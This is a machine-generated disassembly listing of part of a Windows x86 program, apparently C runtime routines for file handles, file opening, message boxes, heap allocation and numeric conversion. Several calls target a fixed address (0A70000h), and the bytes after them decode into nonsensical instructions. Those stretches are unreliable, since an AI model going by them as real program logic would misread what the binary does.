		add	eax, ds:dword_430228
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_4302D0, eax
		jns	short loc_41A4CB
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_4302D0, eax
		jmp	short loc_41A4DC
; ---------------------------------------------------------------------------


loc_41A4CB:				; CODE XREF: sub_41A3AC+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41A4E2
		sub	eax, edx
		inc	ecx
		mov	ds:dword_4302D0, eax


loc_41A4DC:				; CODE XREF: sub_41A3AC+11Dj
		mov	ds:dword_4302CC, ecx


loc_41A4E2:				; CODE XREF: sub_41A3AC+126j
		mov	ds:dword_4302C8, ebx


loc_41A4E8:				; CODE XREF: sub_41A3AC+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A3AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4EC	proc near		; CODE XREF: sub_41A706:loc_41A87Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4622A0


loc_41A4FB:				; CODE XREF: sub_41A4EC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41A538
		lea	edx, [eax+100h]


loc_41A507:				; CODE XREF: sub_41A4EC+28j
		cmp	eax, edx
		jnb	short loc_41A527
		test	byte ptr [eax+4], 1
		jz	short loc_41A516
		add	eax, 8
		jmp	short loc_41A507
; ---------------------------------------------------------------------------


loc_41A516:				; CODE XREF: sub_41A4EC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41A57B


loc_41A527:				; CODE XREF: sub_41A4EC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4623A0
		jl	short loc_41A4FB
		jmp	short loc_41A57B
; ---------------------------------------------------------------------------


loc_41A538:				; CODE XREF: sub_41A4EC+13j
		mov	esi, 100h
		push	esi
		call	sub_41205F
		test	eax, eax
		pop	ecx
		jz	short loc_41A57B
		add	ds:dword_4623A0, 20h
		lea	ecx, ds:4622A0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41A55E:				; CODE XREF: sub_41A4EC+88j
		cmp	eax, edx
		jnb	short loc_41A576
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41A55E
; ---------------------------------------------------------------------------


loc_41A576:				; CODE XREF: sub_41A4EC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41A57B:				; CODE XREF: sub_41A4EC+39j
					; sub_41A4EC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A4EC	endp

; ---------------------------------------------------------------------------


loc_41A581:				; CODE XREF: sub_41A706+1F4p
		mov	eax, [esp+4]
		push	esi
		cmp	eax, ds:dword_4623A0
		push	edi
		jnb	short loc_41A5E1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4622A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41A5E1
		cmp	ds:dword_42F864, 1
		push	ebx
		mov	ebx, [esp+14h]
		jnz	short near ptr loc_41A5D6+1
		sub	eax, 0
		jz	short loc_41A5CE
		dec	eax
		jz	short loc_41A5C9
		dec	eax
		jnz	short near ptr loc_41A5D6+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41A5D1
; ---------------------------------------------------------------------------


loc_41A5C9:				; CODE XREF: seg000:0041A5BFj
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41A5D1
; ---------------------------------------------------------------------------


loc_41A5CE:				; CODE XREF: seg000:0041A5BCj
		push	ebx
		push	0FFFFFFF6h


loc_41A5D1:				; CODE XREF: seg000:0041A5C7j
					; seg000:0041A5CCj
		call	near ptr 0A70000h


loc_41A5D6:				; CODE XREF: seg000:0041A5B7j
					; seg000:0041A5C2j
		and	al, 8Bh
		pop	es
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41A5F5
; ---------------------------------------------------------------------------


loc_41A5E1:				; CODE XREF: seg000:0041A58Dj
					; seg000:0041A5A9j
		and	ds:dword_460F90, 0
		mov	ds:dword_460F8C, 9
		or	eax, 0FFFFFFFFh


loc_41A5F5:				; CODE XREF: seg000:0041A5DFj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A5F8:				; CODE XREF: sub_417750+7Cp
		mov	ecx, [esp+4]
		push	esi
		cmp	ecx, ds:dword_4623A0
		push	edi
		jnb	short loc_41A65B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4622A0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41A65B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41A65B
		cmp	ds:dword_42F864, 1
		jnz	short near ptr loc_41A650+1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41A648
		dec	ecx
		jz	short loc_41A643
		dec	ecx
		jnz	short near ptr loc_41A650+1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41A64B
; ---------------------------------------------------------------------------


loc_41A643:				; CODE XREF: seg000:0041A639j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41A64B
; ---------------------------------------------------------------------------


loc_41A648:				; CODE XREF: seg000:0041A636j
		push	eax
		push	0FFFFFFF6h


loc_41A64B:				; CODE XREF: seg000:0041A641j
					; seg000:0041A646j
		call	near ptr 0A70000h


loc_41A650:				; CODE XREF: seg000:0041A630j
					; seg000:0041A63Cj
		test	byte ptr [ebx+300C8307h], 0FFh
		xor	eax, eax
		jmp	short loc_41A66F
; ---------------------------------------------------------------------------


loc_41A65B:				; CODE XREF: seg000:0041A604j
					; seg000:0041A622j ...
		and	ds:dword_460F90, 0
		mov	ds:dword_460F8C, 9
		or	eax, 0FFFFFFFFh


loc_41A66F:				; CODE XREF: seg000:0041A659j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41A672	proc near		; CODE XREF: sub_417750+32p
					; sub_417750+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4623A0
		jnb	short loc_41A69A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4622A0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41A69A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41A69A:				; CODE XREF: sub_41A672+Aj
					; sub_41A672+23j
		and	ds:dword_460F90, 0
		mov	ds:dword_460F8C, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41A672	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6AF	proc near		; CODE XREF: sub_41782E+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4623A0
		jnb	short loc_41A6F8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_4622A0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41A6F8
		push	eax
		call	sub_41A672
		pop	ecx
		push	eax
		call	near ptr 0A70000h
		xor	[ebp-0F78A40h],	al
		adc	eax, offset dword_41D060
		jmp	short loc_41A6EF
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41A6EF:				; CODE XREF: sub_41A6AF+3Cj
		test	eax, eax
		jz	short locret_41A705
		mov	ds:dword_460F90, eax


loc_41A6F8:				; CODE XREF: sub_41A6AF+Aj
					; sub_41A6AF+22j
		mov	ds:dword_460F8C, 9
		or	eax, 0FFFFFFFFh

locret_41A705:				; CODE XREF: sub_41A6AF+42j
		retn
sub_41A6AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A706	proc near		; CODE XREF: sub_417C0A+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41A72C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41A737
; ---------------------------------------------------------------------------


loc_41A72C:				; CODE XREF: sub_41A706+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41A737:				; CODE XREF: sub_41A706+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41A751
		test	ch, 40h
		jnz	short loc_41A74D
		cmp	ds:dword_461270, eax
		jz	short loc_41A751


loc_41A74D:				; CODE XREF: sub_41A706+3Dj
		or	[ebp+var_1], 80h


loc_41A751:				; CODE XREF: sub_41A706+38j
					; sub_41A706+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41A789
		dec	eax
		jz	short loc_41A780
		dec	eax
		jz	short loc_41A777


loc_41A762:				; CODE XREF: sub_41A706+9Fj
					; sub_41A706+E8j ...
		mov	ds:dword_460F8C, 16h
		mov	ds:dword_460F90, ebx
		jmp	loc_41A99C
; ---------------------------------------------------------------------------


loc_41A777:				; CODE XREF: sub_41A706+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41A790
; ---------------------------------------------------------------------------


loc_41A780:				; CODE XREF: sub_41A706+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41A790
; ---------------------------------------------------------------------------


loc_41A789:				; CODE XREF: sub_41A706+54j
		mov	[ebp+var_C], 80000000h


loc_41A790:				; CODE XREF: sub_41A706+78j
					; sub_41A706+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41A7BE
		cmp	eax, 20h
		jz	short loc_41A7B5
		cmp	eax, 30h
		jz	short loc_41A7AC
		cmp	eax, 40h
		jnz	short loc_41A762
		mov	[ebp+var_10], esi
		jmp	short loc_41A7C1
; ---------------------------------------------------------------------------


loc_41A7AC:				; CODE XREF: sub_41A706+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41A7C1
; ---------------------------------------------------------------------------


loc_41A7B5:				; CODE XREF: sub_41A706+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41A7C1
; ---------------------------------------------------------------------------


loc_41A7BE:				; CODE XREF: sub_41A706+90j
		mov	[ebp+var_10], ebx


loc_41A7C1:				; CODE XREF: sub_41A706+A4j
					; sub_41A706+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41A80B
		jz	short loc_41A806
		cmp	ecx, ebx
		jz	short loc_41A806
		cmp	ecx, edi
		jz	short loc_41A7FD
		cmp	ecx, 200h
		jz	short loc_41A824
		cmp	ecx, 300h
		jnz	loc_41A762
		mov	[ebp+var_8], 2
		jmp	short loc_41A834
; ---------------------------------------------------------------------------


loc_41A7FD:				; CODE XREF: sub_41A706+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41A834
; ---------------------------------------------------------------------------


loc_41A806:				; CODE XREF: sub_41A706+D0j
					; sub_41A706+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41A834
; ---------------------------------------------------------------------------


loc_41A80B:				; CODE XREF: sub_41A706+CEj
		cmp	ecx, 500h
		jz	short loc_41A82D
		cmp	ecx, 600h
		jz	short loc_41A824
		cmp	ecx, edx
		jz	short loc_41A82D
		jmp	loc_41A762
; ---------------------------------------------------------------------------


loc_41A824:				; CODE XREF: sub_41A706+E0j
					; sub_41A706+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41A834
; ---------------------------------------------------------------------------


loc_41A82D:				; CODE XREF: sub_41A706+10Bj
					; sub_41A706+117j
		mov	[ebp+var_8], 1


loc_41A834:				; CODE XREF: sub_41A706+F5j
					; sub_41A706+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41A853
		mov	ecx, ds:dword_460F94
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41A853
		push	1
		pop	esi


loc_41A853:				; CODE XREF: sub_41A706+138j
					; sub_41A706+148j
		test	al, 40h
		jz	short loc_41A861
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41A861:				; CODE XREF: sub_41A706+14Fj
		test	ah, 10h
		jz	short loc_41A868
		or	esi, edi


loc_41A868:				; CODE XREF: sub_41A706+15Ej
		test	al, 20h
		jz	short loc_41A874
		or	esi, 8000000h
		jmp	short loc_41A87E
; ---------------------------------------------------------------------------


loc_41A874:				; CODE XREF: sub_41A706+164j
		test	al, 10h
		jz	short loc_41A87E
		or	esi, 10000000h


loc_41A87E:				; CODE XREF: sub_41A706+16Cj
					; sub_41A706+170j
		call	sub_41A4EC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41A89F
		and	ds:dword_460F90, 0
		mov	ds:dword_460F8C, 18h
		jmp	short loc_41A8DD
; ---------------------------------------------------------------------------


loc_41A89F:				; CODE XREF: sub_41A706+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_41D070	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41A8D0
		push	esi
		call	near ptr 0A70000h
		retn	0C085h
; ---------------------------------------------------------------------------
		jnz	short loc_41A8E4
		push	esi
		call	ds:dword_41D068	; CloseHandle


loc_41A8D0:				; CODE XREF: sub_41A706+1B6j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		call	sub_418672
		pop	ecx


loc_41A8DD:				; CODE XREF: sub_41A706+197j
		mov	eax, edi
		jmp	loc_41A9BA
; ---------------------------------------------------------------------------


loc_41A8E4:				; CODE XREF: sub_41A706+1C1j
		cmp	eax, 2
		jnz	short loc_41A8EF
		or	[ebp+var_1], 40h
		jmp	short loc_41A8F8
; ---------------------------------------------------------------------------


loc_41A8EF:				; CODE XREF: sub_41A706+1E1j
		cmp	eax, 3
		jnz	short loc_41A8F8
		or	[ebp+var_1], 8


loc_41A8F8:				; CODE XREF: sub_41A706+1E7j
					; sub_41A706+1ECj
		push	esi
		push	ebx
		call	loc_41A581
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4622A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41A9A1
		test	al, 80h
		jz	short loc_41A9A1
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41A9A1
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_417DF2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41A956
		cmp	ds:dword_460F90, 83h
		jz	short loc_41A9A1
		jmp	short loc_41A995
; ---------------------------------------------------------------------------


loc_41A956:				; CODE XREF: sub_41A706+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_417A14
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A983
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41A983
		push	[ebp+var_10]
		push	ebx
		call	sub_41B653
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A995


loc_41A983:				; CODE XREF: sub_41A706+265j
					; sub_41A706+26Bj
		push	0
		push	0
		push	ebx
		call	sub_417DF2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A9A1


loc_41A995:				; CODE XREF: sub_41A706+24Ej
					; sub_41A706+27Bj
		push	ebx
		call	sub_417750
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A706+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A9BA
; ---------------------------------------------------------------------------


loc_41A9A1:				; CODE XREF: sub_41A706+221j
					; sub_41A706+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41A9B8
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41A9B8
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41A9B8:				; CODE XREF: sub_41A706+29Fj
					; sub_41A706+2A5j
		mov	eax, ebx


loc_41A9BA:				; CODE XREF: sub_41A706+1D9j
					; sub_41A706+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A706	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9BF	proc near		; CODE XREF: seg000:00418952p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41A9D0
		add	esp, 0Ch
		retn
sub_41A9BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9D0	proc near		; CODE XREF: sub_41A9BF+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_4624C1[eax], cl
		jnz	short loc_41A9FD
		cmp	[esp+arg_4], 0
		jz	short loc_41A9F6
		movzx	eax, ds:word_42F87A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41A9F8
; ---------------------------------------------------------------------------


loc_41A9F6:				; CODE XREF: sub_41A9D0+16j
		xor	eax, eax


loc_41A9F8:				; CODE XREF: sub_41A9D0+24j
		test	eax, eax
		jnz	short loc_41A9FD
		retn
; ---------------------------------------------------------------------------


loc_41A9FD:				; CODE XREF: sub_41A9D0+Fj
					; sub_41A9D0+2Aj
		push	1
		pop	eax
		retn
sub_41A9D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA01	proc near		; CODE XREF: sub_41907D+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_461250, ebx
		push	esi
		push	edi
		jnz	short loc_41AA50
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41D0A4	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41AA86
		mov	esi, ds:dword_41D0A8
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_41D0A8
		test	eax, eax
		mov	ds:dword_461250, eax
		jz	short loc_41AA86
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; dword_41D0A8
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_461254, eax
		call	esi ; dword_41D0A8
		mov	ds:dword_461258, eax


loc_41AA50:				; CODE XREF: sub_41AA01+Bj
		mov	eax, ds:dword_461254
		test	eax, eax
		jz	short loc_41AA6F
		call	eax ; dword_461254
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41AA6F
		mov	eax, ds:dword_461258
		test	eax, eax
		jz	short loc_41AA6F
		push	ebx
		call	eax ; dword_461258
		mov	ebx, eax


loc_41AA6F:				; CODE XREF: sub_41AA01+56j
					; sub_41AA01+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_461250


loc_41AA82:				; CODE XREF: sub_41AA01+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41AA86:				; CODE XREF: sub_41AA01+1Cj
					; sub_41AA01+33j
		xor	eax, eax
		jmp	short loc_41AA82
sub_41AA01	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA8A	proc near		; CODE XREF: sub_4193E7+22p
					; sub_4193E7+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41AAAA
		test	esi, esi
		jnz	short loc_41AAA4
		push	1
		pop	esi


loc_41AAA4:				; CODE XREF: sub_41AA8A+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41AAAA:				; CODE XREF: sub_41AA8A+11j
					; sub_41AA8A+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41AADB
		cmp	ebx, ds:dword_42FA8C
		ja	short loc_41AAC6
		push	ebx
		call	sub_414CF6
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41AAF1


loc_41AAC6:				; CODE XREF: sub_41AA8A+2Dj
		push	esi
		push	8
		push	ds:dword_4625E0
		call	ds:dword_41D140	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41AAFD


loc_41AADB:				; CODE XREF: sub_41AA8A+25j
		cmp	ds:dword_460FE4, 0
		jz	short loc_41AAFD
		push	esi
		call	sub_41490B
		test	eax, eax
		pop	ecx
		jz	short loc_41AB03
		jmp	short loc_41AAAA
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: sub_41AA8A+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_4119E0
		add	esp, 0Ch


loc_41AAFD:				; CODE XREF: sub_41AA8A+4Fj
					; sub_41AA8A+58j
		mov	eax, edi


loc_41AAFF:				; CODE XREF: sub_41AA8A+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41AB03:				; CODE XREF: sub_41AA8A+63j
		xor	eax, eax
		jmp	short loc_41AAFF
sub_41AA8A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41948C


loc_41AB07:				; CODE XREF: sub_41948C+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_462280, esi
		jle	short loc_41AB5A


loc_41AB16:				; CODE XREF: sub_41948C+16CCj
		mov	eax, ds:dword_46127C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41AB51
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41AB35
		push	eax
		call	sub_412E40
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41AB35
		inc	edi


loc_41AB35:				; CODE XREF: sub_41948C+169Aj
					; sub_41948C+16A6j
		cmp	esi, 14h
		jl	short loc_41AB51
		mov	eax, ds:dword_46127C
		push	dword ptr [eax+esi*4]
		call	sub_4120D3
		mov	eax, ds:dword_46127C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41AB51:				; CODE XREF: sub_41948C+1694j
					; sub_41948C+16ACj
		inc	esi
		cmp	esi, ds:dword_462280
		jl	short loc_41AB16


loc_41AB5A:				; CODE XREF: sub_41948C+1688j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41948C

; =============== S U B	R O U T	I N E =======================================



sub_41AB5F	proc near		; CODE XREF: sub_419803+2Bp
					; sub_419803+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41AB75
		cmp	ecx, esi
		jnb	short loc_41AB78


loc_41AB75:				; CODE XREF: sub_41AB5F+10j
		push	1
		pop	eax


loc_41AB78:				; CODE XREF: sub_41AB5F+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41AB5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB80	proc near		; CODE XREF: sub_41AC39+40p
					; sub_41AC39+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41AB5F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41ABB2
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41AB5F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41ABB2
		inc	dword ptr [esi+8]


loc_41ABB2:				; CODE XREF: sub_41AB80+19j
					; sub_41AB80+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41AB5F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41ABCA
		inc	dword ptr [esi+8]


loc_41ABCA:				; CODE XREF: sub_41AB80+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41AB5F
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41AB80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABDE	proc near		; CODE XREF: sub_41AC39+30p
					; sub_41AC39+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41ABDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC0C	proc near		; CODE XREF: sub_41B1D1+1C8p
					; sub_41B799+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41AC0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC39	proc near		; CODE XREF: sub_41AD00+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41ACAD
		push	edi
		mov	[ebp+arg_8], eax


loc_41AC60:				; CODE XREF: sub_41AC39+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41ABDE
		push	ebx
		call	sub_41ABDE
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41AB80
		push	ebx
		call	sub_41ABDE
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41AB80
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41AC60
		xor	edx, edx
		pop	edi


loc_41ACAD:				; CODE XREF: sub_41AC39+21j
					; sub_41AC39+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41ACDA
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41ACAD
; ---------------------------------------------------------------------------


loc_41ACDA:				; CODE XREF: sub_41AC39+77j
		mov	esi, 8000h


loc_41ACDF:				; CODE XREF: sub_41AC39+B9j
		test	[ebx+8], esi
		jnz	short loc_41ACF4
		push	ebx
		call	sub_41ABDE
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41ACDF
; ---------------------------------------------------------------------------


loc_41ACF4:				; CODE XREF: sub_41AC39+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41AC39	endp


; =============== S U B	R O U T	I N E =======================================

